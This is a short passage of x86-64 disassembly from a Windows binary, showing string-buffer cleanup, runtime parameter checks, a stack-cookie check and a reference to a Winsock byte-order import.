cmp byte [rdi + rbp], 0
jne 0x140080fc0
mov r8, rdi
mov rdx, rbp
mov rcx, rsi
call fcn.140086ad0
nop
test rbp, rbp
je 0x140081015
mov rdx, qword [rsp + 0x60]
sub rdx, rbp
mov rax, rbp
cmp rdx, 0x1000
jb 0x14008100d
add rdx, 0x27
mov rbp, qword [rbp - 8]
sub rax, rbp
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008100d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbp
call fcn.1401e6234
mov rcx, rsi
call fcn.140085e70
cmp rax, 0xffffffffffffffff
je 0x1400810af
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x50], 0
mov r8d, 2
lea rdx, [0x140283884]
lea rcx, [rsp + 0x50]
call fcn.140086ad0
nop
mov rcx, rsi
call fcn.140085e70
mov qword [rsp + 0x20], r15
mov r8, qword [rsp + 0x60]
mov rdx, rax
mov rcx, rsi
call fcn.140086910
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140081015
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140081010
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140081010
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rax, rsi
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1401e6210
mov rbx, qword [rsp + 0xc0]
add rsp, 0x80
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret